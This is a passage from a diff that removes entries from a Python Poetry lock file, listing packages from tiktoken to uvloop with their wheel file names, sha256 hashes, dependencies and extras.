"sha256:ece6b76bfeeb61a125c44bbefdfccc279b5288e6007fbedc0d32bfec602df2f2"}, - {file = "tiktoken-0.11.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fd9e6b23e860973cf9526544e220b223c60badf5b62e80a33509d6d40e6c8f5d"}, - {file = "tiktoken-0.11.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6a76d53cee2da71ee2731c9caa747398762bda19d7f92665e882fef229cb0b5b"}, - {file = "tiktoken-0.11.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ef72aab3ea240646e642413cb363b73869fed4e604dcfd69eec63dc54d603e8"}, - {file = "tiktoken-0.11.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7f929255c705efec7a28bf515e29dc74220b2f07544a8c81b8d69e8efc4578bd"}, - {file = "tiktoken-0.11.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:61f1d15822e4404953d499fd1dcc62817a12ae9fb1e4898033ec8fe3915fdf8e"}, - {file = "tiktoken-0.11.0-cp312-cp312-win_amd64.whl", hash = "sha256:45927a71ab6643dfd3ef57d515a5db3d199137adf551f66453be098502838b0f"}, - {file = "tiktoken-0.11.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:a5f3f25ffb152ee7fec78e90a5e5ea5b03b4ea240beed03305615847f7a6ace2"}, - {file = "tiktoken-0.11.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7dc6e9ad16a2a75b4c4be7208055a1f707c9510541d94d9cc31f7fbdc8db41d8"}, - {file = "tiktoken-0.11.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a0517634d67a8a48fd4a4ad73930c3022629a85a217d256a6e9b8b47439d1e4"}, - {file = "tiktoken-0.11.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fb4effe60574675118b73c6fbfd3b5868e5d7a1f570d6cc0d18724b09ecf318"}, - {file = "tiktoken-0.11.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:94f984c9831fd32688aef4348803b0905d4ae9c432303087bae370dc1381a2b8"}, - {file = "tiktoken-0.11.0-cp313-cp313-win_amd64.whl", hash = "sha256:2177ffda31dec4023356a441793fed82f7af5291120751dee4d696414f54db0c"}, - {file = "tiktoken-0.11.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:13220f12c9e82e399377e768640ddfe28bea962739cc3a869cad98f42c419a89"}, - {file = "tiktoken-0.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7f2db627f5c74477c0404b4089fd8a28ae22fa982a6f7d9c7d4c305c375218f3"}, - {file = "tiktoken-0.11.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2302772f035dceb2bcf8e55a735e4604a0b51a6dd50f38218ff664d46ec43807"}, - {file = "tiktoken-0.11.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b977989afe44c94bcc50db1f76971bb26dca44218bd203ba95925ef56f8e7a"}, - {file = "tiktoken-0.11.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:669a1aa1ad6ebf1b3c26b45deb346f345da7680f845b5ea700bba45c20dea24c"}, - {file = "tiktoken-0.11.0-cp39-cp39-win_amd64.whl", hash = "sha256:e363f33c720a055586f730c00e330df4c7ea0024bf1c83a8a9a9dbc054c4f304"}, - {file = "tiktoken-0.11.0.tar.gz", hash = "sha256:3c518641aee1c52247c2b97e74d8d07d780092af79d5911a6ab5e79359d9b06a"}, -] - -[package.dependencies] -regex = ">=2022.1.18" -requests = ">=2.26.0" - -[package.extras] -blobfile = ["blobfile (>=2)"] - -[[package]] -name = "tokenizers" -version = "0.21.4" -description = "" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tokenizers-0.21.4-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:2ccc10a7c3bcefe0f242867dc914fc1226ee44321eb618cfe3019b5df3400133"}, - {file = "tokenizers-0.21.4-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:5e2f601a8e0cd5be5cc7506b20a79112370b9b3e9cb5f13f68ab11acd6ca7d60"}, - {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:39b376f5a1aee67b4d29032ee85511bbd1b99007ec735f7f35c8a2eb104eade5"}, - {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2107ad649e2cda4488d41dfd031469e9da3fcbfd6183e74e4958fa729ffbf9c6"}, - {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c73012da95afafdf235ba80047699df4384fdc481527448a078ffd00e45a7d9"}, - {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f23186c40395fc390d27f519679a58023f368a0aad234af145e0f39ad1212732"}, - {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cc88bb34e23a54cc42713d6d98af5f1bf79c07653d24fe984d2d695ba2c922a2"}, - {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b7eabb104f46c1c50b486520555715457ae833d5aee9ff6ae853d1130506ff"}, - {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:714b05b2e1af1288bd1bc56ce496c4cebb64a20d158ee802887757791191e6e2"}, - {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:1340ff877ceedfa937544b7d79f5b7becf33a4cfb58f89b3b49927004ef66f78"}, - {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:3c1f4317576e465ac9ef0d165b247825a2a4078bcd01cba6b54b867bdf9fdd8b"}, - {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:c212aa4e45ec0bb5274b16b6f31dd3f1c41944025c2358faaa5782c754e84c24"}, - {file = "tokenizers-0.21.4-cp39-abi3-win32.whl", hash = "sha256:6c42a930bc5f4c47f4ea775c91de47d27910881902b0f20e4990ebe045a415d0"}, - {file = "tokenizers-0.21.4-cp39-abi3-win_amd64.whl", hash = "sha256:475d807a5c3eb72c59ad9b5fcdb254f6e17f53dfcbb9903233b0dfa9c943b597"}, - {file = "tokenizers-0.21.4.tar.gz", hash = "sha256:fa23f85fbc9a02ec5c6978da172cdcbac23498c3ca9f3645c5c68740ac007880"}, -] - -[package.dependencies] -huggingface-hub = ">=0.16.4,<1.0" - -[package.extras] -dev = ["tokenizers[testing]"] -docs = ["setuptools-rust", "sphinx", "sphinx-rtd-theme"] -testing = ["black (==22.3)", "datasets", "numpy", "pytest", "requests", "ruff"] - -[[package]] -name = "tomlkit" -version = "0.13.3" -description = "Style preserving TOML library" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "tomlkit-0.13.3-py3-none-any.whl", hash = "sha256:c89c649d79ee40629a9fda55f8ace8c6a1b42deb912b2a8fd8d942ddadb606b0"}, - {file = "tomlkit-0.13.3.tar.gz", hash = "sha256:430cf247ee57df2b94ee3fbe588e71d362a941ebb545dec29b53961d61add2a1"}, -] - -[[package]] -name = "tqdm" -version = "4.67.1" -description = "Fast, Extensible Progress Meter" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, - {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, -] - -[package.dependencies] -colorama = {version = "*", markers = "platform_system == \"Windows\""} - -[package.extras] -dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] -discord = ["requests"] -notebook = ["ipywidgets (>=6)"] -slack = ["slack-sdk"] -telegram = ["requests"] - -[[package]] -name = "traitlets" -version = "5.14.3" -description = "Traitlets Python configuration system" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "traitlets-5.14.3-py3-none-any.whl", hash = "sha256:b74e89e397b1ed28cc831db7aea759ba6640cb3de13090ca145426688ff1ac4f"}, - {file = "traitlets-5.14.3.tar.gz", hash = "sha256:9ed0579d3502c94b4b3732ac120375cda96f923114522847de4b3bb98b96b6b7"}, -] - -[package.extras] -docs = ["myst-parser", "pydata-sphinx-theme", "sphinx"] -test = ["argcomplete (>=3.0.3)", "mypy (>=1.7.0)", "pre-commit", "pytest (>=7.0,<8.2)", "pytest-mock", "pytest-mypy-testing"] - -[[package]] -name = "tree-sitter" -version = "0.24.0" -description = "Python bindings to the Tree-sitter parsing library" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "tree-sitter-0.24.0.tar.gz", hash = "sha256:abd95af65ca2f4f7eca356343391ed669e764f37748b5352946f00f7fc78e734"}, - {file = "tree_sitter-0.24.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f3f00feff1fc47a8e4863561b8da8f5e023d382dd31ed3e43cd11d4cae445445"}, - {file = "tree_sitter-0.24.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f9691be48d98c49ef8f498460278884c666b44129222ed6217477dffad5d4831"}, - {file = "tree_sitter-0.24.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:098a81df9f89cf254d92c1cd0660a838593f85d7505b28249216661d87adde4a"}, - {file = "tree_sitter-0.24.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b26bf9e958da6eb7e74a081aab9d9c7d05f9baeaa830dbb67481898fd16f1f5"}, - {file = "tree_sitter-0.24.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:2a84ff87a2f2a008867a1064aba510ab3bd608e3e0cd6e8fef0379efee266c73"}, - {file = "tree_sitter-0.24.0-cp310-cp310-win_amd64.whl", hash = "sha256:c012e4c345c57a95d92ab5a890c637aaa51ab3b7ff25ed7069834b1087361c95"}, - {file = "tree_sitter-0.24.0-cp310-cp310-win_arm64.whl", hash = "sha256:033506c1bc2ba7bd559b23a6bdbeaf1127cee3c68a094b82396718596dfe98bc"}, - {file = "tree_sitter-0.24.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:de0fb7c18c6068cacff46250c0a0473e8fc74d673e3e86555f131c2c1346fb13"}, - {file = "tree_sitter-0.24.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a7c9c89666dea2ce2b2bf98e75f429d2876c569fab966afefdcd71974c6d8538"}, - {file = "tree_sitter-0.24.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddb113e6b8b3e3b199695b1492a47d87d06c538e63050823d90ef13cac585fd"}, - {file = "tree_sitter-0.24.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:01ea01a7003b88b92f7f875da6ba9d5d741e0c84bb1bd92c503c0eecd0ee6409"}, - {file = "tree_sitter-0.24.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:464fa5b2cac63608915a9de8a6efd67a4da1929e603ea86abaeae2cb1fe89921"}, - {file = "tree_sitter-0.24.0-cp311-cp311-win_amd64.whl", hash = "sha256:3b1f3cbd9700e1fba0be2e7d801527e37c49fc02dc140714669144ef6ab58dce"}, - {file = "tree_sitter-0.24.0-cp311-cp311-win_arm64.whl", hash = "sha256:f3f08a2ca9f600b3758792ba2406971665ffbad810847398d180c48cee174ee2"}, - {file = "tree_sitter-0.24.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:14beeff5f11e223c37be7d5d119819880601a80d0399abe8c738ae2288804afc"}, - {file = "tree_sitter-0.24.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:26a5b130f70d5925d67b47db314da209063664585a2fd36fa69e0717738efaf4"}, - {file = "tree_sitter-0.24.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fc5c3c26d83c9d0ecb4fc4304fba35f034b7761d35286b936c1db1217558b4e"}, - {file = "tree_sitter-0.24.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:772e1bd8c0931c866b848d0369b32218ac97c24b04790ec4b0e409901945dd8e"}, - {file = "tree_sitter-0.24.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:24a8dd03b0d6b8812425f3b84d2f4763322684e38baf74e5bb766128b5633dc7"}, - {file = "tree_sitter-0.24.0-cp312-cp312-win_amd64.whl", hash = "sha256:f9e8b1605ab60ed43803100f067eed71b0b0e6c1fb9860a262727dbfbbb74751"}, - {file = "tree_sitter-0.24.0-cp312-cp312-win_arm64.whl", hash = "sha256:f733a83d8355fc95561582b66bbea92ffd365c5d7a665bc9ebd25e049c2b2abb"}, - {file = "tree_sitter-0.24.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0d4a6416ed421c4210f0ca405a4834d5ccfbb8ad6692d4d74f7773ef68f92071"}, - {file = "tree_sitter-0.24.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e0992d483677e71d5c5d37f30dfb2e3afec2f932a9c53eec4fca13869b788c6c"}, - {file = "tree_sitter-0.24.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57277a12fbcefb1c8b206186068d456c600dbfbc3fd6c76968ee22614c5cd5ad"}, - {file = "tree_sitter-0.24.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d25fa22766d63f73716c6fec1a31ee5cf904aa429484256bd5fdf5259051ed74"}, - {file = "tree_sitter-0.24.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7d5d9537507e1c8c5fa9935b34f320bfec4114d675e028f3ad94f11cf9db37b9"}, - {file = "tree_sitter-0.24.0-cp313-cp313-win_amd64.whl", hash = "sha256:f58bb4956917715ec4d5a28681829a8dad5c342cafd4aea269f9132a83ca9b34"}, - {file = "tree_sitter-0.24.0-cp313-cp313-win_arm64.whl", hash = "sha256:23641bd25dcd4bb0b6fa91b8fb3f46cc9f1c9f475efe4d536d3f1f688d1b84c8"}, -] - -[package.extras] -docs = ["sphinx (>=8.1,<9.0)", "sphinx-book-theme"] -tests = ["tree-sitter-html (>=0.23.2)", "tree-sitter-javascript (>=0.23.1)", "tree-sitter-json (>=0.24.8)", "tree-sitter-python (>=0.23.6)", "tree-sitter-rust (>=0.23.2)"] - -[[package]] -name = "tree-sitter-c-sharp" -version = "0.23.1" -description = "C# grammar for tree-sitter" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2b612a6e5bd17bb7fa2aab4bb6fc1fba45c94f09cb034ab332e45603b86e32fd"}, - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a8b98f62bc53efcd4d971151950c9b9cd5cbe3bacdb0cd69fdccac63350d83e"}, - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:986e93d845a438ec3c4416401aa98e6a6f6631d644bbbc2e43fcb915c51d255d"}, - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8024e466b2f5611c6dc90321f232d8584893c7fb88b75e4a831992f877616d2"}, - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:7f9bf876866835492281d336b9e1f9626ab668737f74e914c31d285261507da7"}, - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-win_amd64.whl", hash = "sha256:ae9a9e859e8f44e2b07578d44f9a220d3fa25b688966708af6aa55d42abeebb3"}, - {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-win_arm64.whl", hash = "sha256:c81548347a93347be4f48cb63ec7d60ef4b0efa91313330e69641e49aa5a08c5"}, - {file = "tree_sitter_c_sharp-0.23.1.tar.gz", hash = "sha256:322e2cfd3a547a840375276b2aea3335fa6458aeac082f6c60fec3f745c967eb"}, -] - -[package.extras] -core = ["tree-sitter (>=0.22,<1.0)"] - -[[package]] -name = "tree-sitter-embedded-template" -version = "0.23.2" -description = "Embedded Template (ERB, EJS) grammar for tree-sitter" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:a505c2d2494464029d79db541cab52f6da5fb326bf3d355e69bf98b84eb89ae0"}, - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:28028b93b42cc3753261ae7ce066675d407f59de512417524f9c3ab7792b1d37"}, - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec399d59ce93ffb60759a2d96053eed529f3c3f6a27128f261710d0d0de60e10"}, - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bcfa01f62b88d50dbcb736cc23baec8ddbfe08daacfdc613eee8c04ab65efd09"}, - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6debd24791466f887109a433c31aa4a5deeba2b217817521c745a4e748a944ed"}, - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-win_amd64.whl", hash = "sha256:158fecb38be5b15db0190ef7238e5248f24bf32ae3cab93bc1197e293a5641eb"}, - {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-win_arm64.whl", hash = "sha256:9f1f3b79fe273f3d15a5b64c85fc6ebfb48decfbe8542accd05f5b7694860df0"}, - {file = "tree_sitter_embedded_template-0.23.2.tar.gz", hash = "sha256:7b24dcf2e92497f54323e617564d36866230a8bfb719dbb7b45b461510dcddaa"}, -] - -[package.extras] -core = ["tree-sitter (>=0.22,<1.0)"] - -[[package]] -name = "tree-sitter-language-pack" -version = "0.7.3" -description = "Extensive Language Pack for Tree-Sitter" -optional = false -python-versions = ">=3.9.0" -groups = ["main"] -files = [ - {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-macosx_10_13_universal2.whl", hash = "sha256:6c4e1a48b83d8bab8d54f1d8012ae7d5a816b3972359e3fb4fe19477a6b18658"}, - {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:0be05f63cd1da06bd277570bbb6cd37c9652ddd1d2ee63ff71da20a66ce36cd8"}, - {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:fd6481b0501ae3a957f673d235bdd68bc7095899f3d58882be7e31fa8e06bd66"}, - {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-win_amd64.whl", hash = "sha256:5c0078532d839d45af0477b1b2e5b1a168e88ca3544e94b27dcba6ddbadb6511"}, - {file = "tree_sitter_language_pack-0.7.3.tar.gz", hash = "sha256:49139cb607d81352d33ad18e57520fc1057a009955c9ccced56607cc18e6a3fd"}, -] - -[package.dependencies] -tree-sitter = ">=0.23.2" -tree-sitter-c-sharp = ">=0.23.1" -tree-sitter-embedded-template = ">=0.23.2" -tree-sitter-yaml = ">=0.7.0" - -[[package]] -name = "tree-sitter-yaml" -version = "0.7.1" -description = "YAML grammar for tree-sitter" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:0256632914d6eb21819f21a85bab649505496ac01fac940eb08a410669346822"}, - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:bf9dd2649392e1f28a20f920f49acd9398cfb872876e338aa84562f8f868dc4d"}, - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94eb8fcb1ac8e43f7da47e63880b6f283524460153f08420a167c1721e42b08a"}, - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30410089828ebdece9abf3aa16b2e172b84cf2fd90a2b7d8022f6ed8cde90ecb"}, - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:219af34f4b35b5c16f25426cc3f90cf725fbba17c9592f78504086e67787be09"}, - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-win_amd64.whl", hash = "sha256:550645223d68b7d6b4cfedf4972754724e64d369ec321fa33f57d3ca54cafc7c"}, - {file = "tree_sitter_yaml-0.7.1-cp310-abi3-win_arm64.whl", hash = "sha256:298ade69ad61f76bb3e50ced809650ec30521a51aa2708166b176419ccb0a6ba"}, - {file = "tree_sitter_yaml-0.7.1.tar.gz", hash = "sha256:2cea5f8d4ca4d10439bd7d9e458c61b330cb33cf7a92e4ef1d428e10e1ab7e2c"}, -] - -[package.extras] -core = ["tree-sitter (>=0.24,<1.0)"] - -[[package]] -name = "typing-extensions" -version = "4.14.1" -description = "Backported and Experimental Type Hints for Python 3.9+" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "typing_extensions-4.14.1-py3-none-any.whl", hash = "sha256:d1e1e3b58374dc93031d6eda2420a48ea44a36c2b4766a4fdeb3710755731d76"}, - {file = "typing_extensions-4.14.1.tar.gz", hash = "sha256:38b39f4aeeab64884ce9f74c94263ef78f3c22467c8724005483154c26648d36"}, -] - -[[package]] -name = "typing-inspection" -version = "0.4.1" -description = "Runtime typing introspection tools" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "typing_inspection-0.4.1-py3-none-any.whl", hash = "sha256:389055682238f53b04f7badcb49b989835495a96700ced5dab2d8feae4b26f51"}, - {file = "typing_inspection-0.4.1.tar.gz", hash = "sha256:6ae134cc0203c33377d43188d4064e9b357dba58cff3185f22924610e70a9d28"}, -] - -[package.dependencies] -typing-extensions = ">=4.12.0" - -[[package]] -name = "tzdata" -version = "2025.2" -description = "Provider of IANA time zone data" -optional = false -python-versions = ">=2" -groups = ["main"] -files = [ - {file = "tzdata-2025.2-py2.py3-none-any.whl", hash = "sha256:1a403fada01ff9221ca8044d701868fa132215d84beb92242d9acd2147f667a8"}, - {file = "tzdata-2025.2.tar.gz", hash = "sha256:b60a638fcc0daffadf82fe0f57e53d06bdec2f36c4df66280ae79bce6bd6f2b9"}, -] - -[[package]] -name = "tzlocal" -version = "5.3.1" -description = "tzinfo object for the local timezone" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tzlocal-5.3.1-py3-none-any.whl", hash = "sha256:eb1a66c3ef5847adf7a834f1be0800581b683b5608e74f86ecbcef8ab91bb85d"}, - {file = "tzlocal-5.3.1.tar.gz", hash = "sha256:cceffc7edecefea1f595541dbd6e990cb1ea3d19bf01b2809f362a03dd7921fd"}, -] - -[package.dependencies] -tzdata = {version = "*", markers = "platform_system == \"Windows\""} - -[package.extras] -devenv = ["check-manifest", "pytest (>=4.3)", "pytest-cov", "pytest-mock (>=3.3)", "zest.releaser"] - -[[package]] -name = "uc-micro-py" -version = "1.0.3" -description = "Micro subset of unicode data files for linkify-it-py projects." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "uc-micro-py-1.0.3.tar.gz", hash = "sha256:d321b92cff673ec58027c04015fcaa8bb1e005478643ff4a500882eaab88c48a"}, - {file = "uc_micro_py-1.0.3-py3-none-any.whl", hash = "sha256:db1dffff340817673d7b466ec86114a9dc0e9d4d9b5ba229d9d60e5c12600cd5"}, -] - -[package.extras] -test = ["coverage", "pytest", "pytest-cov"] - -[[package]] -name = "urllib3" -version = "2.5.0" -description = "HTTP library with thread-safe connection pooling, file post, and more." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, - {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, -] - -[package.extras] -brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] -h2 = ["h2 (>=4,<5)"] -socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["zstandard (>=0.18.0)"] - -[[package]] -name = "uvicorn" -version = "0.29.0" -description = "The lightning-fast ASGI server." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "uvicorn-0.29.0-py3-none-any.whl", hash = "sha256:2c2aac7ff4f4365c206fd773a39bf4ebd1047c238f8b8268ad996829323473de"}, - {file = "uvicorn-0.29.0.tar.gz", hash = "sha256:6a69214c0b6a087462412670b3ef21224fa48cae0e452b5883e8e8bdfdd11dd0"}, -] - -[package.dependencies] -click = ">=7.0" -h11 = ">=0.8" - -[package.extras] -standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"] - -[[package]] -name = "uvloop" -version = "0.21.0" -description = "Fast implementation of asyncio event loop on top of libuv" -optional = false -python-versions = ">=3.8.0" -groups = ["main"] -markers = "sys_platform != \"win32\"" -files = [ - {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ec7e6b09a6fdded42403182ab6b832b71f4edaf7f37a9a0e371a01db5f0cb45f"}, - {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:196274f2adb9689a289ad7d65700d37df0c0930fd8e4e743fa4834e850d7719d"}, - {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f38b2e090258d051d68a5b14d1da7203a3c3677321cf32a95a6f4db4dd8b6f26"}, - {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87c43e0f13022b998eb9b973b5e97200c8b90823454d4bc06ab33829e09fb9bb"}, - {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:10d66943def5fcb6e7b37310eb6b5639fd2ccbc38df1177262b0640c3ca68c1f"}, - {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:67dd654b8ca23aed0a8e99010b4c34aca62f4b7fce88f39d452ed7622c94845c"}, - {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c0f3fa6200b3108919f8bdabb9a7f87f20e7097ea3c543754cabc7d717d95cf8"}, - {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0878c2640cf341b269b7e128b1a5fed890adc4455513ca710d77d5e93aa6d6a0"}, - {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9fb766bb57b7388745d8bcc53a359b116b8a04c83a2288069809d2b3466c37e"}, - {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a375441696e2eda1c43c44ccb66e04d61ceeffcd76e4929e527b7fa401b90fb"}, - {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:baa0e6291d91649c6ba4ed4b2f982f9fa165b5bbd50a9e203c416a2797bab3c6"}, - {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4509360fcc4c3bd2c70d87573ad472de40c13387f5fda8cb58350a1d7475e58d"}, - {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:359ec2c888397b9e592a889c4d72ba3d6befba8b2bb01743f72fffbde663b59c"}, - {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7089d2dc73179ce5ac255bdf37c236a9f914b264825fdaacaded6990a7fb4c2"}, - {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baa4dcdbd9ae0a372f2167a207cd98c9f9a1ea1188a8a526431eef2f8116cc8d"}, - {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86975dca1c773a2c9864f4c52c5a55631038e387b47eaf56210f873887b6c8dc"}, - {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:461d9ae6660fbbafedd07559c6a2e57cd553b34b0065b6550685f6653a98c1cb"}, - {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = 